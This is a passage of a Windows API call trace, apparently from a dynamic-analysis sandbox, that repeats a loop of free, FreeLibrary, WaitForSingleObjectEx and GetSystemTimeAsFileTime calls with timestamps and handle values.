(_Block=0x196ef0d1a80) [0195.958] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.959] free (_Block=0x196ef0d67b0) [0195.960] free (_Block=0x196ef0fbdb0) [0195.960] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.967] free (_Block=0x196ef0d1d20) [0195.967] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.967] free (_Block=0x196ef0d67b0) [0195.968] free (_Block=0x196ef0fb6d0) [0195.968] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.972] free (_Block=0x196ef0d1cc0) [0195.973] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.973] free (_Block=0x196ef0d67b0) [0195.973] free (_Block=0x196ef0fbbd0) [0195.973] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.978] free (_Block=0x196ef0d1f40) [0195.978] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.978] free (_Block=0x196ef0d67b0) [0195.979] free (_Block=0x196ef0fb720) [0195.979] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55ac3336, dwHighDateTime=0x1d9eb0c)) [0195.984] free (_Block=0x196ef0d1e20) [0195.984] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.984] free (_Block=0x196ef0d67b0) [0195.985] free (_Block=0x196ef0fb720) [0195.985] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55ac3336, dwHighDateTime=0x1d9eb0c)) [0195.991] free (_Block=0x196ef0d1d40) [0195.991] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.991] free (_Block=0x196ef0d67b0) [0195.992] free (_Block=0x196ef0fc120) [0195.992] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cb31ea, dwHighDateTime=0x1d9eb0c)) [0196.185] free (_Block=0x196ef0d19e0) [0196.185] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.186] free (_Block=0x196ef0d67b0) [0196.187] free (_Block=0x196ef0fb770) [0196.187] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cb31ea, dwHighDateTime=0x1d9eb0c)) [0196.195] free (_Block=0x196ef0d1ee0) [0196.195] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.195] free (_Block=0x196ef0d67b0) [0196.196] free (_Block=0x196ef0fba40) [0196.196] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cd9357, dwHighDateTime=0x1d9eb0c)) [0196.201] free (_Block=0x196ef0d19a0) [0196.201] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.202] free (_Block=0x196ef0d67b0) [0196.203] free (_Block=0x196ef0fb3b0) [0196.203] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cd9357, dwHighDateTime=0x1d9eb0c)) [0196.209] free (_Block=0x196ef0d1fa0) [0196.209] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.209] free (_Block=0x196ef0d67b0) [0196.210] free (_Block=0x196ef0fbe50) [0196.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cff6b7, dwHighDateTime=0x1d9eb0c)) [0196.216] free (_Block=0x196ef0d1ca0) [0196.216] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.216] free (_Block=0x196ef0d67b0) [0196.217] free (_Block=0x196ef0fb450) [0196.217] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cff6b7, dwHighDateTime=0x1d9eb0c)) [0196.222] free (_Block=0x196ef0d1f60) [0196.222] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.223] free (_Block=0x196ef0d67b0) [0196.223] free (_Block=0x196ef0fb720) [0196.223] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55cff6b7, dwHighDateTime=0x1d9eb0c)) [0196.229] free (_Block=0x196ef0d2080) [0196.229] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.229] free (_Block=0x196ef0d67b0) [0196.230] free (_Block=0x196ef0fb220) [0196.230] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55eef4b5, dwHighDateTime=0x1d9eb0c)) [0196.430] free (_Block=0x196ef0d1ac0) [0196.430] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.430] free (_Block=0x196ef0d67b0) [0196.431] free (_Block=0x196ef0fbe50) [0196.431] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55f61dfb, dwHighDateTime=0x1d9eb0c)) [0196.472] free (_Block=0x196ef0d1da0) [0196.473] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.474] free (_Block=0x196ef0d67b0) [0196.474] free (_Block=0x196ef0fbd10) [0196.475] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5612b7f5, dwHighDateTime=0x1d9eb0c)) [0196.658] free (_Block=0x196ef0d1de0) [0196.658] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.659] free (_Block=0x196ef0d67b0) [0196.660] free (_Block=0x196ef0fbf40) [0196.660] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5612b7f5, dwHighDateTime=0x1d9eb0c)) [0196.666] free (_Block=0x196ef0d1e60) [0196.667] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.667] free (_Block=0x196ef0d67b0) [0196.668] free (_Block=0x196ef0fbf90) [0196.668] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x561519cf, dwHighDateTime=0x1d9eb0c)) [0196.674] free (_Block=0x196ef0d1fc0) [0196.674] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.675] free (_Block=0x196ef0d67b0) [0196.676] free (_Block=0x196ef0fb900) [0196.676] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56177b72, dwHighDateTime=0x1d9eb0c)) [0196.686] free (_Block=0x196ef0d1f60) [0196.686] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.686] free (_Block=0x196ef0d67b0) [0196.687] free (_Block=0x196ef0fba40) [0196.687] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56177b72, dwHighDateTime=0x1d9eb0c)) [0196.693] free (_Block=0x196ef0d1e20) [0196.693] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.694] free (_Block=0x196ef0d67b0) [0196.695] free (_Block=0x196ef0fb8b0) [0196.695] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5619e11b, dwHighDateTime=0x1d9eb0c)) [0196.701] free (_Block=0x196ef0d1ce0) [0196.701] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.702] free (_Block=0x196ef0d67b0) [0196.703] free (_Block=0x196ef0fbfe0) [0196.703] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5642677e, dwHighDateTime=0x1d9eb0c)) [0196.967] free (_Block=0x196ef0d1f60) [0196.968] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.968] free (_Block=0x196ef0d67b0) [0196.970] free (_Block=0x196ef0fb270) [0196.970] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5642677e, dwHighDateTime=0x1d9eb0c)) [0196.980] free (_Block=0x196ef0d1d40) [0196.980] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.981] free (_Block=0x196ef0d67b0) [0196.981] free (_Block=0x196ef0fb8b0) [0196.982] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5645b271, dwHighDateTime=0x1d9eb0c)) [0196.989] free (_Block=0x196ef0d1ee0) [0196.989] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0196.990] free (_Block=0x196ef0d67b0) [0196.991] free (_Block=0x196ef0fba40) [0196.992] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56472ea0, dwHighDateTime=0x1d9eb0c)) [0197.001] free (_Block=0x196ef0d1ba0) [0197.001] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.002] free (_Block=0x196ef0d67b0) [0197.003] free (_Block=0x196ef0fbf90) [0197.003] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56616bec, dwHighDateTime=0x1d9eb0c)) [0197.171] free (_Block=0x196ef0d1b00) [0197.171] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.172] free (_Block=0x196ef0d67b0) [0197.173] free (_Block=0x196ef0fbea0) [0197.173] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56616bec, dwHighDateTime=0x1d9eb0c)) [0197.179] free (_Block=0x196ef0d2060) [0197.179] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.179] free (_Block=0x196ef0d67b0) [0197.180] free (_Block=0x196ef0fbc70) [0197.180] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5663c81c, dwHighDateTime=0x1d9eb0c)) [0197.186] free (_Block=0x196ef0d1960) [0197.186] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.187] free (_Block=0x196ef0d67b0) [0197.187] free (_Block=0x196ef0fb8b0) [0197.187] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5663c81c, dwHighDateTime=0x1d9eb0c)) [0197.193] free (_Block=0x196ef0d19e0) [0197.193] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.193] free (_Block=0x196ef0d67b0) [0197.194] free (_Block=0x196ef0fb9a0) [0197.195] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56662c68, dwHighDateTime=0x1d9eb0c)) [0197.206] free (_Block=0x196ef0d1a20) [0197.206] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.206] free (_Block=0x196ef0d67b0) [0197.207] free (_Block=0x196ef0fb9a0) [0197.207] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56662c68, dwHighDateTime=0x1d9eb0c)) [0197.432] free (_Block=0x196ef0d1a40) [0197.432] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.432] free (_Block=0x196ef0d67b0) [0197.433] free (_Block=0x196ef0fbae0) [0197.433] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5689edc3, dwHighDateTime=0x1d9eb0c)) [0197.441] free (_Block=0x196ef0d1b00) [0197.441] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.442] free (_Block=0x196ef0d67b0) [0197.442] free (_Block=0x196ef0fbd10) [0197.442] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5689edc3, dwHighDateTime=0x1d9eb0c)) [0197.448] free (_Block=0x196ef0d19a0) [0197.448] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.448] free (_Block=0x196ef0d67b0) [0197.449] free (_Block=0x196ef0fb360) [0197.449] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x568c502e, dwHighDateTime=0x1d9eb0c)) [0197.457] free (_Block=0x196ef0d1ce0) [0197.457] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.457] free (_Block=0x196ef0d67b0) [0197.457] free (_Block=0x196ef0fb680) [0197.458] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x568c502e, dwHighDateTime=0x1d9eb0c)) [0197.464] free (_Block=0x196ef0d1c40) [0197.464] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.465] free (_Block=0x196ef0d67b0) [0197.465] free (_Block=0x196ef0fb950) [0197.467] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56b1b271, dwHighDateTime=0x1d9eb0c)) [0197.703] free (_Block=0x196ef0d20e0) [0197.703] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.704] free (_Block=0x196ef0d67b0) [0197.705] free (_Block=0x196ef0fb2c0) [0197.705] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56b41411, dwHighDateTime=0x1d9eb0c)) [0197.714] free (_Block=0x196ef0d19e0) [0197.715] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.715] free (_Block=0x196ef0d67b0) [0197.716] free (_Block=0x196ef0fb310) [0197.716] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56b41411, dwHighDateTime=0x1d9eb0c)) [0197.722] free (_Block=0x196ef0d1be0) [0197.722] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.723] free (_Block=0x196ef0d67b0) [0197.723] free (_Block=0x196ef0fb2c0) [0197.724] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56b67a82, dwHighDateTime=0x1d9eb0c)) [0197.729] free (_Block=0x196ef0d1a40) [0197.729] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.730] free (_Block=0x196ef0d67b0) [0197.731] free (_Block=0x196ef0fbef0) [0197.731] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56b67a82, dwHighDateTime=0x1d9eb0c)) [0197.737] free (_Block=0x196ef0d1f60) [0197.737] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.738] free (_Block=0x196ef0d67b0) [0197.738] free (_Block=0x196ef0fb450) [0197.739] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d31c10, dwHighDateTime=0x1d9eb0c)) [0197.917] free (_Block=0x196ef0d1cc0) [0197.917] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.918] free (_Block=0x196ef0d67b0) [0197.920] free (_Block=0x196ef0fb720) [0197.920] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d31c10, dwHighDateTime=0x1d9eb0c)) [0197.926] free (_Block=0x196ef0d1be0) [0197.926] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.926] free (_Block=0x196ef0d67b0) [0197.927] free (_Block=0x196ef0fb7c0) [0197.927] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d57769, dwHighDateTime=0x1d9eb0c)) [0197.934] free (_Block=0x196ef0d1c40) [0197.934] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.935] free (_Block=0x196ef0d67b0) [0197.936] free (_Block=0x196ef0fb270) [0197.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d57769, dwHighDateTime=0x1d9eb0c)) [0197.942] free (_Block=0x196ef0d19c0) [0197.942] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.942] free (_Block=0x196ef0d67b0) [0197.943] free (_Block=0x196ef0fbdb0) [0197.943] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d7d902, dwHighDateTime=0x1d9eb0c)) [0197.951] free (_Block=0x196ef0d1bc0) [0197.951] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.952] free (_Block=0x196ef0d67b0) [0197.953] free (_Block=0x196ef0fbd10) [0197.953] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x56d7d902, dwHighDateTime=0x1d9eb0c)) [0197.960] free (_Block=0x196ef0d20c0) [0197.960] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0197.961] free (_Block=0x196ef0d67b0) [0197.961] free (_Block=0x196ef0fbd10) [0197.962] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57111163, dwHighDateTime=0x1d9eb0c)) [0198.324] free (_Block=0x196ef0d2000) [0198.324] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.324] free (_Block=0x196ef0d67b0) [0198.325] free (_Block=0x196ef0fbb80) [0198.325] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57111163, dwHighDateTime=0x1d9eb0c)) [0198.334] free (_Block=0x196ef0d1cc0) [0198.334] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.335] free (_Block=0x196ef0d67b0) [0198.336] free (_Block=0x196ef0fb9a0) [0198.336] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5713747b, dwHighDateTime=0x1d9eb0c)) [0198.342] free (_Block=0x196ef0d1d60) [0198.342] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.343] free (_Block=0x196ef0d67b0) [0198.343] free (_Block=0x196ef0fb680) [0198.344] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5713747b, dwHighDateTime=0x1d9eb0c)) [0198.350] free (_Block=0x196ef0d1ce0) [0198.350] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.351] free (_Block=0x196ef0d67b0) [0198.353] free (_Block=0x196ef0fbe50) [0198.353] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x575633f6, dwHighDateTime=0x1d9eb0c)) [0198.783] free (_Block=0x196ef0d1980) [0198.783] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.784] free (_Block=0x196ef0d67b0) [0198.784] free (_Block=0x196ef0fb4f0) [0198.784] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57589a4c, dwHighDateTime=0x1d9eb0c)) [0198.794] free (_Block=0x196ef0d1aa0) [0198.794] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.795] free (_Block=0x196ef0d67b0) [0198.795] free (_Block=0x196ef0fb590) [0198.795] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x57589a4c, dwHighDateTime=0x1d9eb0c)) [0198.800] free (_Block=0x196ef0d1b40) [0198.800] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.800] free (_Block=0x196ef0d67b0) [0198.801] free (_Block=0x196ef0fb220) [0198.801] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.806] free (_Block=0x196ef0d1ee0) [0198.807] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.807] free (_Block=0x196ef0d67b0) [0198.808] free (_Block=0x196ef0fc080) [0198.808] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.813] free (_Block=0x196ef0d1ba0) [0198.813] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0198.813] free (_Block=0x196ef0d67b0) [0198.813] free (_Block=0x196ef0fbef0) [0198.814] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.820] free (_Block=0x196ef0d19a0) [0198.820] FreeLibrary 